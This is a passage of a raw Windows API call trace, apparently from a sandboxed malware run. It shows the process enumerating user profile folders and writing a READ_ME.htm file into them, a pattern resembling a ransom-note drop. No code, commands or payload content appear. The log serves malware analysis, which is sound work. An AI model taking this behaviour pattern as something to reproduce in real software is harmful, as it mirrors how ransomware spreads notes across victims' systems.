lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0140.230] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0140.230] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0140.230] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0140.230] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 1 [0140.231] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0140.231] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abb0260, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4abb0260, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4abd63c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.231] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abb0260, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4abb0260, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4abd63c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0140.231] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.231] SetErrorMode (uMode=0x0) returned 0x1 [0140.231] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0140.232] SetErrorMode (uMode=0x1) returned 0x0 [0140.232] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*" (normalized: "c:\\users\\all users\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0140.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0140.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0140.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0140.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fc52ba0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc52ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0140.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0140.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0140.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0140.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0140.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dfe8500, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x501f9fe0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1f2b3de0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x501add20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x501add20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0140.234] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0140.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0140.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0140.235] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.235] SetErrorMode (uMode=0x0) returned 0x1 [0140.235] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0140.236] SetErrorMode (uMode=0x1) returned 0x0 [0140.236] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*" (normalized: "c:\\users\\all users\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0140.236] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.236] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0140.236] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0140.236] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fc52ba0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc52ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dfe8500, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x501f9fe0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1f2b3de0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x501add20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x501add20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0140.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0140.238] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0140.238] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.238] SetErrorMode (uMode=0x0) returned 0x1 [0140.238] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data", lpFilePart=0x0) returned 0x23 [0140.238] SetErrorMode (uMode=0x1) returned 0x0 [0140.238] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*" (normalized: "c:\\users\\all users\\application data\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0140.240] SetErrorMode (uMode=0x0) returned 0x1 [0140.240] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0140.241] SetErrorMode (uMode=0x1) returned 0x0 [0140.241] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data\\READ_ME.htm" (normalized: "c:\\users\\all users\\application data\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.242] GetFileType (hFile=0x1d0) returned 0x1 [0140.242] SetErrorMode (uMode=0x0) returned 0x1 [0140.242] GetFileType (hFile=0x1d0) returned 0x1 [0140.242] WriteFile (in: hFile=0x1d0, lpBuffer=0x288b250*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x288b250*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0140.244] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop", lpFilePart=0x0) returned 0x1a [0140.244] SetErrorMode (uMode=0x1) returned 0x0 [0140.244] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*" (normalized: "c:\\users\\all users\\desktop\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0140.259] SetErrorMode (uMode=0x0) returned 0x1 [0140.261] GetFullPathNameW (in: 